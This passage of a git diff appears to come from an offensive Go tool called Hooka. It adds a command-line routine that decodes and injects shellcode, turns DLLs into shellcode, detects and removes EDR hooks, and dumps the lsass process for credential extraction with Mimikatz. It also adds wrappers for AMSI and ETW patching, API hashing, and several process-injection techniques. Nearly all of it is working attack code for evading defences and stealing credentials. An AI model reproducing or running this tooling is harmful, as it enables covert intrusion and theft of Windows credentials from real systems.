l.Println("[+] No encoding was especified") + time.Sleep(300 * time.Millisecond) + + } else if (base64_flag) && (!hex_flag) { + l.Println("[+] Shellcode encoding: base64") + shellcode, err = base64.StdEncoding.DecodeString(string(shellcode)) + if err != nil { + l.Fatal(err) + } + + time.Sleep(300 * time.Millisecond) + l.Println("[*] Decoding shellcode") + time.Sleep(300 * time.Millisecond) + + } else if (!base64_flag) && (hex_flag) { + l.Println("[+] Shellcode encoding: hex") + shellcode, err = hex.DecodeString(string(shellcode)) + if err != nil { // Handle error + l.Fatal(err) + } + + time.Sleep(300 * time.Millisecond) + l.Println("[*] Decoding shellcode") + time.Sleep(300 * time.Millisecond) + } + + if technique != "" { + l.Println("[*] Injecting shellcode using " + technique + " technique") + } + + err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode + if err != nil { // Handle error + l.Fatal(err) + } + l.Println("[+] Shellcode should have been executed without errors!") + + } else if (sc_url == "") && (sc_file == "") && (dll_file != "") { + + dll_filename := strings.Split(dll_file, ",")[0] // Get DLL path + dll_func := strings.Split(dll_file, ",")[1] // Get DLL function to execute + + _, err := os.Stat(dll_filename) // Check if especified dll exists + if os.IsNotExist(err) { + l.Println("\n[-] Especified DLL doesn't exists!") + time.Sleep(100 * time.Millisecond) + os.Exit(0) + } + + time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info + l.Println("\n[+] DLL file: " + dll_filename) + time.Sleep(300 * time.Millisecond) + l.Println("[+] Function to execute: " + dll_func) + time.Sleep(300 * time.Millisecond) + + l.Println("[*] Converting " + dll_filename + " to position independant shellcode") + shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode + if err != nil { // Handle error + l.Fatal(err) + } + time.Sleep(300 * time.Millisecond) + l.Println("[+] Process finished successfully!") + time.Sleep(100 * time.Millisecond) + + if (technique != "") { // Check if technique has value so it doesn't get printed twice + l.Println("[*] Injecting shellcode using " + technique + " technique") + } + + err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode + if err != nil { // Handle error + l.Fatal(err) + } + l.Println("[+] Shellcode should have been executed without errors") + + } else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified + + l.Println("\n[*] Detecting hooked functions...") + + all_hooks, err := core.DetectHooks() // Get all hooked functions + if err != nil { + l.Fatal(err) + } + l.Println("[+] Process finished") + + if len(all_hooks) >= 1 { // Check if hooks array contains at least one function + l.Println("[*] Hooked functions:") + for _, h := range all_hooks { + l.Println(h) + } + time.Sleep(200 * time.Millisecond) + + } else { + time.Sleep(200 * time.Millisecond) + l.Println("[+] No function is hooked!") + time.Sleep(100 * time.Millisecond) + } + + } else if (sc_url == "") && (sc_file == "") && (!hook_detect) && (test_flag) { + + l.Println("\n[*] Testing shellcode injection with calc.exe shellcode") + time.Sleep(200 * time.Millisecond) + + err := core.InjectWithTechnique(core.CalcShellcode(), technique) // Inject calc.exe shellcode + if err != nil { // Handle error + l.Fatal(err) + } + l.Println("[+] Shellcode should have been executed!") + + } else if (lsass != "") { // Enter here if --lsass flag was especified + l.Println("[*] Dumping lsass process to " + lsass) + + err := core.DumpLsass(lsass) + if err != nil { + l.Println("[-] An error has ocurred, ensure to be running as admin:") + l.Fatal(err) + } + + l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials") + time.Sleep(100 * time.Millisecond) + } +} + diff --git a/pkg/hooka/amsi.go b/pkg/hooka/amsi.go new file mode 100644 index 0000000..61acc4a --- /dev/null +++ b/pkg/hooka/amsi.go @@ -0,0 +1,9 @@ +package hooka + +import "github.com/D3Ext/Hooka/core" + +func PatchAmsi(pid int) (error) { + return core.PatchAmsi(pid) +} + + diff --git a/pkg/hooka/etw.go b/pkg/hooka/etw.go new file mode 100644 index 0000000..68dd1e5 --- /dev/null +++ b/pkg/hooka/etw.go @@ -0,0 +1,8 @@ +package hooka + +import "github.com/D3Ext/Hooka/core" + +func PatchEtw() (error) { + return core.PatchEtw() +} + diff --git a/pkg/hooka/hashing.go b/pkg/hooka/hashing.go new file mode 100644 index 0000000..abe577c --- /dev/null +++ b/pkg/hooka/hashing.go @@ -0,0 +1,17 @@ +package hooka + +import ( + "golang.org/x/sys/windows" + + "github.com/D3Ext/Hooka/core" +) + +func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) { + return core.FuncFromHash(hash, dll) +} + +func HashFromFunc(funcname string) (string) { + return core.HashFromFunc(funcname) +} + + diff --git a/pkg/hooka/hooks.go b/pkg/hooka/hooks.go new file mode 100644 index 0000000..9f77f63 --- /dev/null +++ b/pkg/hooka/hooks.go @@ -0,0 +1,14 @@ +package hooka + +import ( + "github.com/D3Ext/Hooka/core" +) + +func DetectHooks() ([]string, error) { + return core.DetectHooks() +} + +func IsHooked(func_name string) (bool, error) { + return core.IsHooked(func_name) +} + diff --git a/pkg/hooka/lsass.go b/pkg/hooka/lsass.go new file mode 100644 index 0000000..aa71b17 --- /dev/null +++ b/pkg/hooka/lsass.go @@ -0,0 +1,8 @@ +package hooka + +import "github.com/D3Ext/Hooka/core" + +func DumpLsass(output string) (error) { + return core.DumpLsass(output) +} + diff --git a/pkg/hooka/shellcode.go b/pkg/hooka/shellcode.go new file mode 100644 index 0000000..a20e91c --- /dev/null +++ b/pkg/hooka/shellcode.go @@ -0,0 +1,21 @@ +package hooka + +import "github.com/D3Ext/Hooka/core" + +func CreateRemoteThread(shellcode []byte) (error) { + return core.CreateRemoteThread(shellcode) +} + +func CreateProcess(shellcode []byte) (error) { + return core.CreateProcess(shellcode) +} + +func Fibers(shellcode []byte) (error) { + return core.Fibers(shellcode) +} + +func EarlyBirdApc(shellcode []byte) (error) { + return core.EarlyBirdApc(shellcode) +} + + diff --git a/pkg/hooka/unhook.go b/pkg/hooka/unhook.go new file mode 100644 index 0000000..df76728 --- /dev/null +++ b/pkg/hooka/unhook.go @@ -0,0 +1,8 @@ +package hooka + +import "github.com/D3Ext/Hooka/core" + +func Unhook(funcname string) (error) { + return core.Unhook(funcname) +} +